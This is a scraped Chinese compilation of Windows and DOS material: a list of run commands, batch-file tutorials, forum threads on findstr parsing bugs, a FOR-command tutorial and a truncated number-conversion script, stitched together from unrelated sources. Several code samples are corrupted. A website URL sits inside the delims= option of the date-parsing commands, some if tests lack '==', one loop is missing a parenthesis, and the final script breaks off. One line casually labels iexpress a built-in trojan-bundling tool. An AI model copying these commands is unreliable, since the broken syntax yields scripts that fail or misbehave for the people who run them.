verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.
?[cmd]:同help.
计算机运行命令全集
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
DOS批处理实战
后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢?
比如,在启动wps软件时,每次都必须执行
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢?
如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢?
当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。
此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。
echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令)
pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续。
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。
例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 文件表示:
echo off 不显示命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 使用wps 注释将使用wps
cd ucdos 进入ucdos目录
wps 使用wps
--批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。
例如,C:根目录下一批处理文件名为f.bat,内容为 format %1
则如果执行C:\>f a: 则实际执行的是format a:
又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2
那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
--if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys
3、if errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:
goto end
:end
echo this is the end
--choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
例如,test.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
--此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
for 循环命令,只要条件符合,它将多次执行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要参数f在指定的集合内,则条件成立,执行命令
如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件,则显示文件的内容。
--DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。
如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。
例如,一个典型的autoexec.bat内容如下:
@echo off 不显示命令行
prompt $p$g 设置提示符前有目录提示
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools 设置路径
lh c:\dos\doskey.com 加载键盘管理
lh c:\mouse\mouse.com 加载鼠标管理
lh c:\dos\smartdrv.exe 加载磁盘加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V 加载CD-ROM驱动
set temp=c:\temp 设置临时目录
标号用 :字符串 表示,标号所在行不被执行
DOS中的特殊符号
使用条件处理符号可以从单个命令行或脚本运行多个命令。通过条件处理符号运行多个命令时,条件处理符号右边的命令根据条件处理符号左边的命令结果来发挥作用。例如,只有在前一个命令失败的情况下,才可能需要运行一个新命令。或者,只有在前一个命令成功时才可能需要运行一个新命令。
可以使用下表列出的特殊字符来传递多个命令。
字符 语法 定义
& [...] command1 & command2 用来分隔一个命令行中的多个命令。Cmd.exe 运行第一个命令,然后运行第二个命令。
&& [...] command1 && command2 只有在符号 && 前面的命令成功时,才用于运行该符号后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令运行成功时才运行第二个命令。
|| [...] command1 || command2 只有在符号 || 前面的命令失败时,才用于运行符号 || 后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令未能运行成功(接收到大于零的错误代码)时才运行第二个命令。
( ) [...] (command1 & command2) 用来分组或嵌套多个命令。
; 或者 , command1 parameter1;parameter2 用来分隔命令参数。
注意
· “与”符号 (&)、管道符号 (|) 以及括号 () 是特殊字符,将它们作为参数传递时,必须在其前面加上转义字符 (^) 或引号。
· 如果某个命令成功完成操作,则该命令就返回零 (0) 退出代码或不返回任何退出代码
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
│ 管道操作
; 符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.
也可以使用以下的用法:
if exist command
device 是指DOS系统中已加载的设备, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:
1. 该设备确实存在(由软件虚拟的设备除外)
2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)
3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)
可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备
另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.
findstr的命令行分析机制
-- 来源:?tid=21167&fpage=1&highlight=findstr
-- 问题缘起于bsijl一篇关于findstr错误过滤的主题[1],当时因为无法找到原因,所以只能推测 /g 开关存在某些问题。
近日,因为编写一个debuger代码,再次使用了 findstr/g ,结果遇到了同样的问题[2]。经过仔细的测试[3]后,发现是 findstr
特殊的命令行分析机制所引起的问题。略述如下:
-- 1、findstr不同于早期的find,它对参数的排列有一定的要求,即遵循开关(可省略)、字符串(使用/c开关时省略)、文件名(可通配、可多个、有输入流时需省略)的顺序。
-- 2、开关可以使用引号,所以不能直接以与开关相同的关键字进行搜索;文件名含空格时必须用引号。
-- 3、搜索关键字的情况和表现就比较复杂,分述如下:
3-1、无论是否使用开关/l或/r以及是否使用引号,关键字中的\都会成为转义字符,所以\\将成为\,\"将使引号失去字符串界定作用;
3-2、搜索关键字可加或不加引号,当加引号时其中的\可能会再次转义。使用开关/l和/r时的转义结果可能会不同:当使用/r时,所以"\\\\"将成为单个\,"\\"将使关键字为空;当使用/l或均不使用时,"\\\\"和"\\"与单个\等价。
3-3、如果关键字以单个\结尾,且无引号,则不会被转义;
而 findstr/g出现的问题,应该与上述内容有关,但其内在机理仍无法透彻理解。不知各位有何高见?
-- [1]批处理删除XP输入法问题!请dos高手解决
?searchid=24472
-- [2]Test of findstr/v/g
Quote:
E:\Batch\Test>set > envar.out
E:\Batch\Test>findstr /v /g:envar.out envar.out
LOGONSERVER=\\Test
ProgramFiles=C:\Program Files
E:\Batch\Test>findstr /v /i /g:envar.out
envar.out
LOGONSERVER=\\Test
--[3]Test of findstr
CODE: [Copy to clipboard]
:: Test of findstr
:: Will Sort - 2006-06-10 - CMDWinXP
@echo off
cls&echo ---- "set>_tfs1.tmp & findstr /v
/g:_tfs1.tmp _tfs1.tmp"
set>_tfs1.tmp & findstr /v /g:_tfs1.tmp
_tfs1.tmp
pause
echo ---- "findstr /v /i /g:_tfs1.tmp _tfs1.tmp"
findstr /v /i /g:_tfs1.tmp _tfs1.tmp
pause
echo ---- "sort /r _tfs1.tmp > _tfs2.tmp &
findstr /v /g:_tfs1.tmp _tfs2.tmp"
sort /r _tfs1.tmp > _tfs2.tmp & findstr /v
/g:_tfs1.tmp _tfs2.tmp
pause
echo ---- "set|findstr /v /g:_tfs1.tmp"
set|findstr /v /g:_tfs1.tmp
pause
cls&echo ---- "dir C:\ /w > _tfs2.tmp & findstr
/v /g:_tfs2.tmp _tfs2.tmp"
dir C:\ /w > _tfs2.tmp & findstr /v /g:_tfs2.tmp
_tfs2.tmp
pause
echo ---- "echo :\ > _tfs2.tmp & findstr /v
/g:_tfs2.tmp _tfs2.tmp"
echo :\ > _tfs2.tmp & findstr /v /g:_tfs2.tmp
_tfs2.tmp
pause
cls&echo ---- "findstr /g:_tfs1.tmp
_tfs1.tmp>_tfs2.tmp & fc _tfs1.tmp _tfs2.tmp"
findstr /g:_tfs1.tmp _tfs1.tmp>_tfs2.tmp & fc
_tfs1.tmp _tfs2.tmp
pause
cls&echo ---- "set|findstr /r "\\\\ \\\\""
set|findstr /r "\\\\ \\\\"
pause
echo ---- "set|findstr /l "\\\\ \\\\""
set|findstr /l "\\\\ \\\\"
pause
cls&echo ---- "echo _tfs1_tmp > _tfs1.tmp &
findstr "/l" "_tfs1.tmp" "_tfs1.tmp""
echo _tfs1_tmp >> _tfs1.tmp & findstr
"_tfs1.tmp" "_tfs1.tmp"
pause
del _tfs?.tmp
[ Last edited by willsort on 2006-6-11 at 18:38 ]
Climbing
『第 2 楼』:
在我的XP上这个结果如何解释?
d:\work>findstr /v /g:envar.out envar.out
FINDSTR: 搜索字符串太长。
d:\work>findstr /v /g:envar.out envar.out
FINDSTR: 搜索字符串太长。
d:\work>findstr /v /g:envar.out
FINDSTR: 搜索字符串太长。
『第 3 楼』:
在我的 XP 下和 willsort 兄 3、的描述相同。这个恼人的结果不知道能不能确定是
FINDSTR 的 BUG ,请朋友们多试一下其它系统的情况。看来关键字中含有 “\”
字符应该多加小心了。
『第 4 楼』:
唔,似乎只有当\后面的字符为非字母和非数字的时候才会出错。感觉microsoft准备把findstr做成cmd下的正则表达式工具似的,但是又没有考虑到与其他参数之间的兼容性,导致最后的结果是画虎不成反类犬。
另外在某些时候,findstr的查找字符串中包含中文时,需要加上/i参数才能避免错误,具体环境以及代码已忘,或许findstr除了正则表达式方面的bug外还存在unicode与ascii转换的bug。
『第 5 楼』:
Re Ups:
另外一个问题:
因为开关也允许引号,所以无法以 "/l" 或 "/r" 等与开关相同的文本串作为关键字匹配,下面的句式将会出错:
echo /l /r > test
findstr /l "/r" test
不过,可以使用开关 /c 来强制指定关键字:
findstr /l /c:"/r" test
findstr /l /c:/r test
还有一个方法,就是上文提到的 \ 了:
findstr /l \/r test
此外,这个 \ 还可以让我们的关键字中包含引号:
echo /l /r >test
echo "/r" >> test
findstr /l \"/r\" test
最后,修订和增补顶楼3-2中的一些描述:
3-2、开关/r和开关/l相同,其后的关键字均可使用或不使用引号;使用引号时:
3-2-1、"\"和"\\\"等价于引号和其后各个串所各自代表的多个关键字;
3-2-2、"\\\\\"和"\\\\\\\"等价于引号加\组成的关键字和其他多个关键字;
3-2-3、"\\\\\\\\\"等价于引号加\\组成的关键字和其他多个关键字;
3-2-4、"\ ","\\","\\\ ","\\\\\
","\\\\\\","\\\\\\\ "等价于空;
3-2-5、"\\ ","\\\\"等价于一个\;
3-2-6、"\\\\ ","\\\\\\\\"等价于两个\;
3-2-7、"\\\\\\ "等价于三个\;
3-2-8、"\\\\\\\\ "等价于四个\;
以上数据由以下方法测得,测试文件见[1][2],当不使用/r开关与使用开关/l相同,;
type test1.txt | findstr /r "test_key"
test2.xt
[1] Test text of findstr - "test1.txt"
Quote
/l /r
"/l"
" test1
\" test1
\\" test1
\\\" test1
\\\\" test1
\ test1
\\ test1
\\\ test1
\\\\ test1
[2] Test text of findstr - "test2.txt"
Quote:
" test2
\" test2
\\" test2
\\\" test2
\\\\" test2
\ test2
\\ test2
\\\ test2
\\\\ test2
『第 6 楼』:
Quote:
3-2、开关/r和开关/l相同,其后的关键字均可使用或不使用引号;使用引号时:
3-2-1、"\"和"\\\"等价于引号和其后各个串所各自代表的多个关键字;
3-2-2、"\\\\\"和"\\\\\\\"等价于引号加\组成的关键字和其他多个关键字;
3-2-3、"\\\\\\\\\"等价于引号加\\组成的关键字和其他多个关键字;
3-2-4、"\ ","\\","\\\ ","\\\\\
","\\\\\\","\\\\\\\ "等价于空;
3-2-5、"\\ ","\\\\"等价于一个\;
3-2-6、"\\\\ ","\\\\\\\\"等价于两个\;
3-2-7、"\\\\\\ "等价于三个\;
3-2-8、"\\\\\\\\ "等价于四个\;
我是从"dir .\", " dir ..\" 开始,大家不妨测试下.
『第 7 楼』:
UNC 路径名中 \ 的解析与 findstr
关键字是不同的,它只有界定目录的作用,而没有转义字符的作用。
另外,findstr /v ^%var%$ test.txt 语句中,如果test.txt最后一行就是要匹配的%var%,且该行不为空,则不能过滤最后一行的内容,似乎是分行标志识别出了错
findstr的一些bug
1、在使用 findstr "我 你 他" test.txt 的时候,并不能查找到内容,但是,加上开关 /i 或者 /r 之后就正确无误了,可能是在查找多个纯中文字符串的时候的一个bug吧;单个的纯中文字符串没有任何问题;
FINDSTR正则表达式的基本用法
1.findstr . 2.txt 或 Findstr "." 2.txt #从文件2.txt中查找任意字符,不包括空字符或空行
2.findstr .* 2.txt 或 findstr ".*" 2.txt #从文件2.txt中查找任意字符包括空行和空字符
3.findstr "[0-9]" 2.txt #从文件2.txt中查找包括数字0-9的字符串或行
4.findstr "[a-zA-Z]" 2.txt #从文件2.txt中查找包括任意字符的字符串或行
5.findstr "[abcezy]" 2.txt #从文件2.txt中查找包括a b c e z y字母的字符串或行
6.findstr "[a-fl-z]" 2.txt #从文件2.txt中查找小写字符a-f l-z的字符串,但不包含g h I j k这几个字母。
7.findstr "M[abc][hig]Y" 2.txt #从文件2.txt中可以匹配 MahY , MbiY, MahY等…..
8. ^和$符号的应用 #^ 表示行首,"^step"仅匹配 "step hello world"中的第一个单词
#$ 表示行尾,"step$"仅匹配 "hello world step"中最后一个单词
9.finstr "[^0-9]" 2.txt #如果是纯数字的字符串或者行便过滤掉,例如2323423423 这样的字符串,如果是345hh888这样的形式就不成了。
10.findstr "[^a-z]" 2.txt #同上,如果是纯字母的字符串或者行便过滤掉,例如 sdlfjlkjlksjdklfjlskdf这样的字符,如果是sdfksjdkf99999这样的形式,掺杂着数字就不成了
11.*号的作用 #前面已经说过了 ".*"表示搜索的条件是任意字符,*号在正则表达式中的作用不是任何字符,而是表示左侧字符或者表达式的重复次数,*号表示重复的次数为零次或者多次。
12.findstr "^[0-9]*$" 2.txt #这个是匹配找到的纯数字,例如 234234234234,如果是2133234kkjl234就被过滤掉了。
Findstr "^[a-z]*$" 2.txt #这个是匹配找到的纯字母,例如 sdfsdfsdfsdf,如果是213sldjfkljsdlk就被过滤掉了
如果在搜索条件里没有*号,也就是说不重复左侧的搜索条件,也就是[0-9] [a-z]那只能匹配字符串的第一个字符也只有这一个字符,因为有行首和行尾的限制,"^[0-9]$"第一个字符如果是数字就匹配,如果不是就过滤掉,如果字符串是 9 就匹配,如果是98或者9j之类的就不可以了。
13. "\<…\>" #这个表达式的作用,这个表示精确查找一个字符串,\<sss 表示字的开始位置,sss\>表示字的结束位置
echo hello world computer|findstr "\<computer\>"这样的形式
echo hello worldcomputer|findstr "\<computer\>" 这样的形式就不成了,他要找的是 "computer"这个字符串,所以不可以。
echo hello worldcomputer|findstr ".*computer\>"这样就可以匹配了
for的一些bug
1、关于冒号:当某行内容以 : 打头时,用 for /f "tokens=1* delims=:" %%i in ('findstr /n .* test.txt') do echo.%%j 会把 : 过滤掉;
2、关于分号:findstr .* test.txt 可以把以分号打头的行完整显示出来,但是,用在for语句中就不能找到了,必须加上参数/n才可以,似乎是for语句会把以分号打头的行当作注释内容忽略掉,好象不是findstr的错;而不放在for语句中的 type、more和findstr都是可以的;
解决问题1和问题2的方案有:
稍微复杂一点的:
@echo off
:: 不会忽略空行
for /f "delims=" %%i in ('findstr /n .* test.txt') do (
set "str=%%i"
call set "str=%%str:*:=%%"
call echo "%%str%%")
pause
最简洁的:
@echo off
:: 此代码会忽略空行
for /f "delims= eol=" %%i in (test.txt) do echo %%i
pause
3、在for扩展中,%%~si 表示扩充的路径只含短文件名,但是在以下的测试过程中,却发现真正的情况并非如此:
测试环境:
D:\abcdefg hijk\abcd efgh.txt
D:\abcdefg hijk\te st.txt
测试代码:
@echo off
for /f "delims=" %%i in ('dir /a /b *.txt') do echo %%~si
pause
测试结果:
D:\ABCDEF~1\ABCDEF~1.TXT
D:\ABCDEF~1\TEST~1.TXTtxt
看到测试结果的最后一条记录了吗?居然扩展到了 TEST~1.TXTtxt !
总结了一下出错的情形,似乎是这样的:当路径中有超过一个的地方因为目录名超过11个字符而扩充到短文件名的时候,文件名+后缀名 少于11个字符且带空格的文件就会发生扩展错误。
for教程
以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和 连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。
举个例子,用适当的参数,可用FOR命令将 date /t 的输出 从 "Sat 07/13/2002" 变成你想要的格式,比如, "2002-07-13":
c:\>for /f "tokens=2,3,4 delims=http://www.likecs.com/ " %a in ('date /t') do @echo %c-%a-%b
2002-07-13
该例将在(3)中详细说明。
0. 基本应用
简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间:
for %a in (c: d: e: f do @dir %a\ find "bytes free"
将输出:
8 Dir(s) 1,361,334,272 bytes free
15 Dir(s) 8,505,581,568 bytes free
12 Dir(s) 12,975,149,056 bytes free
7 Dir(s) 11,658,854,400 bytes free
用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR:
for %a in (*.txt) do type %a
这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用:
1. 可以用 /r 参数遍历整个目录树
2. 可以用 /f 参数将文本文件内容作为循环范围
3. 可以用 /f 参数将某一命令执行结果作为循环范围
4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分
现分别举例说明如下:
1. 用 /r 遍历目录树
当用 *.* 或 *.txt 等文件名通配符作为 for /r 的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for:
for /r . %a in (*.txt) do @find "bluebear" %a
find 前面的 @ 只是让输出结果不包括 find 命令本身。这是DOS很早就有的功能。和FOR无关。
当用 . 作为循环范围时,for 只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象 TREE 命令,不过侧重点不同。TREE 的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉:
for /r . %a in (.) do @if exist %a\CVS rd /s /q %a\CVS
先用 if exist 判断一下,是因为 for 只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用 if exist 判断一下比较安全。
这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将 rd /s /q 换成 @echo 先列出要删出的目录,确认无误后再换回rd /s /q:
for /r . %a in (.) do @if exist %a\CVS @echo %a\CVS
可能目录中会多出一层 ".",比如 c:\proj\release\.\CVS ,但不会影响命令的执行效果。
2. 将某一文件内容或命令执行结果作为循环范围:
假如你有一个文件 todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样:
c:\temp\a1.txt
c:\temp\a2.txt
c:\temp\subdir\b3.txt
c:\temp\subdir\b4.txt
那么可以用FOR来完成:
for /f %a in (todel.txt) do del %a
这个命令还可以更强大。比如你的 todel.txt 并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样:
Volume in drive D is DATA
Volume Serial Number is C47C-9908
Directory of D:\tmp
09/26/2001 12:50 PM 18,426 alg0925.txt
12/02/2001 04:29 AM 795 bsample.txt
04/11/2002 04:18 AM 2,043 invitation.txt
4 File(s) 25,651 bytes
0 Dir(s) 4,060,700,672 bytes free
for 仍然可以解出其中的文件名并进行操作:
for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a
当然,上面这个命令是在进行删除,如果你只是想看看哪些文件将被操作,把DEL换成echo:
for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a
你将看到:
alg0925.txt
bsample.txt
invitation.txt
skip=5表示跳过前5行(就是DIR输出的头部信息),tokens=5表示将每行的第5列作为循环值放入%a,正好是文件名。在这里我加了一个文件存在判断,是因为最后一行的"free"刚好也是第5列,目前还想不出好的办法来滤掉最后两行,所以检查一下可保万无一失。
3. 可以用 /f 参数将某一命令执行结果作为循环范围
非常有用的功能。比如,我们想知道目前的环境变量有哪些名字(我们只要名字,不要值)。可是SET命令的输出是“名字=值”的格式,现在可以用FOR来只取得名字部分:
FOR /F "delims==" %i IN ('set') DO @echo %i
将看到:
ALLUSERSPROFILE
APPDATA
CLASSPATH
CommonProgramFiles
COMPUTERNAME
omSpec
dircmd
HOMEDRIVE
这里是将set命令执行的结果拿来作为循环范围。delims==表示用=作为分隔符,由于FOR /F默认是用每行第一个TOKEN,所以可以分离出变量名。如果是想仅列出值:
FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i
tokens=2和前例相同,表示将第二列(由=作为分隔符)作为循环值。
再来个更有用的例子:
我们知道 date /t (/t表示不要询问用户输入)的输出是象这样的:
Sat 07/13/2002
现在我想分离出日期部分,也就是13:
for /f "tokens=3 delims=http://www.likecs.com/ " %a in ('date /t') do @echo %a
实际上把 tokens后面换成1,2,3或4,你将分别得到Sat, 07, 13和2002。注意delims=http://www.likecs.com/后面还有个空格,表示/和空格都是分隔符。由于这个空格delims必须是/f选项的最后一项。
再灵活一点,象本文开头提到的,将日期用2002-07-13的格式输出:
for /f "tokens=2,3,4 delims=http://www.likecs.com/ " %a in ('date /t') do @echo %c-%a-%b
当tokens后跟多个值时,将分别映射到%a, %b, %c等。实际上跟你指定的变量有关,如果你指定的是 %i, 它们就会用%i, %j, %k等。
灵活应用这一点,几乎没有做不了的事。
4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分
这个比较简单,就是说将循环变量的值自动分离成只要文件名,只要扩展名,或只要盘符等等。
例:要将 c:\mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,将会是这样:
g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-01 下沙.mp3
g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-02 21个人.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修罗.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不爱我的我不爱.mp3
那么可以用FOR命令:
for /r g:\mp3 %a in (*.mp3) do @echo %~na
凡是 %~ 开头的操作符,都是文件名的分离操作。具体请看 for /? 帮助。
本文举的例子有些可能没有实际用处,或可用其它办法完成。仅用于体现FOR可以不借助其它工具,仅用DOS命令组合,就可完成相当灵活的任务
for语句中的几种分隔符形式
其实for /l %i in (1,1,99) do @echo %i 括号中间的分隔号有多种
形式如下:
for /l %i in (1,1,99) do @echo %i
for /l %i in (1 1 99) do @echo %i
for /l %i in (1;1;99) do @echo %i
for /l %i in (1=1=99) do @echo %i
for /l %i in (1<tab>1<tab>99) do @echo %i <tab>----tab键
hitme批处理集合
1. CMD.mdb
1. 16<=>10
欲在cmd下转进制,自己搞加减乘除? 喝多了头疼死,算了
偷了把鸡,利用ping和set帮忙运算了一把
hoho,什么都不会,就会投机,巨人肩膀上一站,技术在那里?
用法: DxH 数字
例如:
DxH 1234567
DxH 0x1234fd3
@echo off
if "%1" "" goto :syntax
if "%1" "/?" goto :syntax
:H2D
set tmpx=%1
if "%tmpx:~0,2%" "0x" (
for /f "delims=" %%i in ('set /a %1') do (
echo.
echo %1 = %%i
goto :end
) )
:D2H
setlocal ENABLEDELAYEDEXPANSION
